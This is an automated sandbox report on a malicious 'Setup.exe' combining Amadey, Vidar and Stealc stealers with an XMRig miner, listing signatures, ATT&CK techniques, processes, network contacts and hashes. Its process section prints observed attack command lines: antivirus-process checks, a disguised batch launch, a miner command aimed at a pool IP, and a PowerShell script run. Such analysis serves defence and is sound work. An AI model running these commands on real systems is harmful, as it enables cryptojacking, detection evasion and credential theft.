Malware Analysis Report

2024-09-11 15:46

Sample ID 240614-wtly3s1ema
Target Setup.exe
SHA256 df0927eb284b3604c55cbf9ef4b0b2420a5618c555529b6bbda043266732e557
Tags
amadey stealc vidar xmrig ffb1b9 discovery execution miner spyware stealer trojan upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

df0927eb284b3604c55cbf9ef4b0b2420a5618c555529b6bbda043266732e557

Threat Level: Known bad

The file Setup.exe was found to be: Known bad.

Malicious Activity Summary

amadey stealc vidar xmrig ffb1b9 discovery execution miner spyware stealer trojan upx

Vidar

xmrig

Detect Vidar Stealer

Stealc

Suspicious use of NtCreateUserProcessOtherParentProcess

Amadey

XMRig Miner payload

Downloads MZ/PE file

Blocklisted process makes network request

Executes dropped EXE

Loads dropped DLL

Checks computer location settings

Reads user/profile data of local email clients

Reads data files stored by FTP clients

UPX packed file

Reads user/profile data of web browsers

Checks installed software on the system

Accesses cryptocurrency files/wallets, possible credential harvesting

Suspicious use of SetThreadContext

Drops file in Windows directory

Command and Scripting Interpreter: PowerShell

Enumerates physical storage devices

Unsigned PE

Delays execution with timeout.exe

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Enumerates processes with tasklist

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Suspicious use of SendNotifyMessage

Suspicious use of FindShellTrayWindow

Suspicious behavior: MapViewOfSection

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Privilege Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Unsecured Credentials
T1552
Credentials In Files
T1552.001
Discovery
TA0007
Query Registry
T1012
System Information Discovery
T1082
Process Discovery
T1057
Lateral Movement
TA0008
Collection
TA0009
Data from Local System
T1005
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-14 18:17

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-14 18:12

Reported

2024-06-14 18:34

Platform

win10-20240404-en

Max time kernel

959s

Max time network

966s

Command Line

C:\Windows\Explorer.EXE

Signatures

Amadey

trojan amadey

Detect Vidar Stealer

stealer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Stealc

stealer stealc

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 4684 created 3168 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Windows\Explorer.EXE

Vidar

stealer vidar

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\ProgramData\FBFCGIDAKE.exe N/A
N/A N/A C:\ProgramData\IDAAFBGDBK.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A

Reads data files stored by FTP clients

spyware stealer

Reads user/profile data of local email clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Checks installed software on the system

discovery

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 4684 set thread context of 3492 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 2852 set thread context of 1440 N/A C:\ProgramData\FBFCGIDAKE.exe C:\Windows\SysWOW64\ftp.exe
PID 3324 set thread context of 1536 N/A C:\ProgramData\IDAAFBGDBK.exe C:\Windows\SysWOW64\ftp.exe
PID 1536 set thread context of 4680 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 4680 set thread context of 1892 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\TWI Cloud Host.job C:\Windows\SysWOW64\ftp.exe N/A
File created C:\Windows\Tasks\Watcher Com SH.job C:\Windows\SysWOW64\ftp.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\tasklist.exe N/A
N/A N/A C:\Windows\SysWOW64\tasklist.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\ProgramData\FBFCGIDAKE.exe N/A
N/A N/A C:\ProgramData\IDAAFBGDBK.exe N/A
N/A N/A C:\ProgramData\FBFCGIDAKE.exe N/A
N/A N/A C:\ProgramData\IDAAFBGDBK.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\ProgramData\FBFCGIDAKE.exe N/A
N/A N/A C:\ProgramData\IDAAFBGDBK.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 688 wrote to memory of 2388 N/A C:\Users\Admin\AppData\Local\Temp\Setup.exe C:\Windows\SysWOW64\cmd.exe
PID 688 wrote to memory of 2388 N/A C:\Users\Admin\AppData\Local\Temp\Setup.exe C:\Windows\SysWOW64\cmd.exe
PID 688 wrote to memory of 2388 N/A C:\Users\Admin\AppData\Local\Temp\Setup.exe C:\Windows\SysWOW64\cmd.exe
PID 2388 wrote to memory of 3340 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 2388 wrote to memory of 3340 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 2388 wrote to memory of 3340 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 2388 wrote to memory of 1880 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 2388 wrote to memory of 1880 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 2388 wrote to memory of 1880 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 2388 wrote to memory of 4736 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 2388 wrote to memory of 4736 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 2388 wrote to memory of 4736 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 2388 wrote to memory of 3484 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 2388 wrote to memory of 3484 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 2388 wrote to memory of 3484 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 2388 wrote to memory of 3468 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 2388 wrote to memory of 3468 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 2388 wrote to memory of 3468 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 2388 wrote to memory of 1532 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 2388 wrote to memory of 1532 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 2388 wrote to memory of 1532 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 2388 wrote to memory of 1540 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 2388 wrote to memory of 1540 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 2388 wrote to memory of 1540 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 2388 wrote to memory of 4684 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 2388 wrote to memory of 4684 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 2388 wrote to memory of 4684 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 2388 wrote to memory of 3008 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2388 wrote to memory of 3008 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2388 wrote to memory of 3008 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 4684 wrote to memory of 3492 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 4684 wrote to memory of 3492 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 4684 wrote to memory of 3492 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 4684 wrote to memory of 3492 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 4684 wrote to memory of 3492 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 3492 wrote to memory of 2852 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\ProgramData\FBFCGIDAKE.exe
PID 3492 wrote to memory of 2852 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\ProgramData\FBFCGIDAKE.exe
PID 3492 wrote to memory of 2852 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\ProgramData\FBFCGIDAKE.exe
PID 3492 wrote to memory of 3324 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\ProgramData\IDAAFBGDBK.exe
PID 3492 wrote to memory of 3324 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\ProgramData\IDAAFBGDBK.exe
PID 3492 wrote to memory of 3324 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\ProgramData\IDAAFBGDBK.exe
PID 2852 wrote to memory of 1440 N/A C:\ProgramData\FBFCGIDAKE.exe C:\Windows\SysWOW64\ftp.exe
PID 2852 wrote to memory of 1440 N/A C:\ProgramData\FBFCGIDAKE.exe C:\Windows\SysWOW64\ftp.exe
PID 2852 wrote to memory of 1440 N/A C:\ProgramData\FBFCGIDAKE.exe C:\Windows\SysWOW64\ftp.exe
PID 3324 wrote to memory of 1536 N/A C:\ProgramData\IDAAFBGDBK.exe C:\Windows\SysWOW64\ftp.exe
PID 3324 wrote to memory of 1536 N/A C:\ProgramData\IDAAFBGDBK.exe C:\Windows\SysWOW64\ftp.exe
PID 3324 wrote to memory of 1536 N/A C:\ProgramData\IDAAFBGDBK.exe C:\Windows\SysWOW64\ftp.exe
PID 3492 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Windows\SysWOW64\cmd.exe
PID 3492 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Windows\SysWOW64\cmd.exe
PID 3492 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Windows\SysWOW64\cmd.exe
PID 1500 wrote to memory of 4940 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 1500 wrote to memory of 4940 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 1500 wrote to memory of 4940 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2852 wrote to memory of 1440 N/A C:\ProgramData\FBFCGIDAKE.exe C:\Windows\SysWOW64\ftp.exe
PID 3324 wrote to memory of 1536 N/A C:\ProgramData\IDAAFBGDBK.exe C:\Windows\SysWOW64\ftp.exe
PID 1440 wrote to memory of 316 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\SysWOW64\explorer.exe
PID 1440 wrote to memory of 316 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\SysWOW64\explorer.exe
PID 1440 wrote to memory of 316 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\SysWOW64\explorer.exe
PID 1440 wrote to memory of 316 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\SysWOW64\explorer.exe
PID 1536 wrote to memory of 4680 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 1536 wrote to memory of 4680 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 1536 wrote to memory of 4680 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 1536 wrote to memory of 4680 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 4680 wrote to memory of 1892 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Users\Admin\AppData\Local\Temp\Setup.exe

"C:\Users\Admin\AppData\Local\Temp\Setup.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k copy Revenues Revenues.cmd & Revenues.cmd & exit

C:\Windows\SysWOW64\tasklist.exe

tasklist

C:\Windows\SysWOW64\findstr.exe

findstr /I "wrsa.exe opssvc.exe"

C:\Windows\SysWOW64\tasklist.exe

tasklist

C:\Windows\SysWOW64\findstr.exe

findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c md 366279

C:\Windows\SysWOW64\findstr.exe

findstr /V "RingtoneRentMicrosoftFocuses" Editors

C:\Windows\SysWOW64\cmd.exe

cmd /c copy /b Isle 366279\m

C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif

366279\Suspect.pif 366279\m

C:\Windows\SysWOW64\timeout.exe

timeout 5

C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif

C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif

C:\ProgramData\FBFCGIDAKE.exe

"C:\ProgramData\FBFCGIDAKE.exe"

C:\ProgramData\IDAAFBGDBK.exe

"C:\ProgramData\IDAAFBGDBK.exe"

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\ftp.exe

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\AAEHJEGIIDAE" & exit

C:\Windows\SysWOW64\timeout.exe

timeout /t 10

C:\Windows\SysWOW64\explorer.exe

C:\Windows\SysWOW64\explorer.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe -a rx/0 --url=65.109.127.181:3333 -u PLAYA -p PLAYA -R --variant=-1 --max-cpu-usage=70 --donate-level=1 -opencl

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\1000003041\run.ps1"

Network

Country Destination Domain Proto
US 8.8.8.8:53 eijWYJUUWJTVUfljdtx.eijWYJUUWJTVUfljdtx udp
US 8.8.8.8:53 theemir.xyz udp
US 172.67.192.32:443 theemir.xyz tcp
US 172.67.192.32:443 theemir.xyz tcp
US 8.8.8.8:53 c.pki.goog udp
GB 172.217.169.67:80 c.pki.goog tcp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 32.192.67.172.in-addr.arpa udp
US 8.8.8.8:53 67.169.217.172.in-addr.arpa udp
US 172.67.192.32:443 theemir.xyz tcp
US 172.67.192.32:443 theemir.xyz tcp
US 172.67.192.32:443 theemir.xyz tcp
US 172.67.192.32:443 theemir.xyz tcp
US 172.67.192.32:443 theemir.xyz tcp
US 172.67.192.32:443 theemir.xyz tcp
US 172.67.192.32:443 theemir.xyz tcp
US 8.8.8.8:53 businessdownloads.ltd udp
US 172.67.212.123:443 businessdownloads.ltd tcp
US 8.8.8.8:53 123.212.67.172.in-addr.arpa udp
US 172.67.192.32:443 theemir.xyz tcp
US 8.8.8.8:53 i.imgur.com udp
US 199.232.192.193:443 i.imgur.com tcp
US 172.67.192.32:443 theemir.xyz tcp
US 8.8.8.8:53 193.192.232.199.in-addr.arpa udp
US 172.67.192.32:443 theemir.xyz tcp
US 172.67.192.32:443 theemir.xyz tcp
US 172.67.192.32:443 theemir.xyz tcp
US 172.67.192.32:443 theemir.xyz tcp
US 172.67.192.32:443 theemir.xyz tcp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
FI 135.181.22.88:80 135.181.22.88 tcp
US 8.8.8.8:53 88.22.181.135.in-addr.arpa udp
FI 65.109.127.181:3333 tcp
US 8.8.8.8:53 25.24.18.2.in-addr.arpa udp
FI 65.109.127.181:3333 tcp
US 8.8.8.8:53 proresupdate.com udp
US 45.152.112.146:80 proresupdate.com tcp
US 8.8.8.8:53 contur2fa.recipeupdates.rest udp
US 172.67.197.250:443 contur2fa.recipeupdates.rest tcp
US 8.8.8.8:53 146.112.152.45.in-addr.arpa udp
US 8.8.8.8:53 250.197.67.172.in-addr.arpa udp
US 172.67.197.250:443 contur2fa.recipeupdates.rest tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
US 8.8.8.8:53 90.16.208.104.in-addr.arpa udp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
US 45.152.112.146:80 proresupdate.com tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
US 45.152.112.146:80 proresupdate.com tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
US 45.152.112.146:80 proresupdate.com tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
US 45.152.112.146:80 proresupdate.com tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp
FI 65.109.127.181:3333 tcp

Files

C:\Users\Admin\AppData\Local\Temp\Revenues

MD5 774a97f2c63a28f5b795e0c7f3a1e797
SHA1 2ab25671bd5a2b253d54594301b765f171aa0cd5
SHA256 a08c17ffca06c08afa2bf6ee98a09c08a2cc22a78596497635cb372d644f140d
SHA512 e6c576edbfc972a9272d4fd969dc4e4f82f5ec61be2c526a1e2686cd4ee0734a649c78673f10efd3e3d9ae7b329a440adcd830fcb6bf3f53d30f678e001518d6

C:\Users\Admin\AppData\Local\Temp\Editors

MD5 c06b582d8286115b48f81ec53f36b383
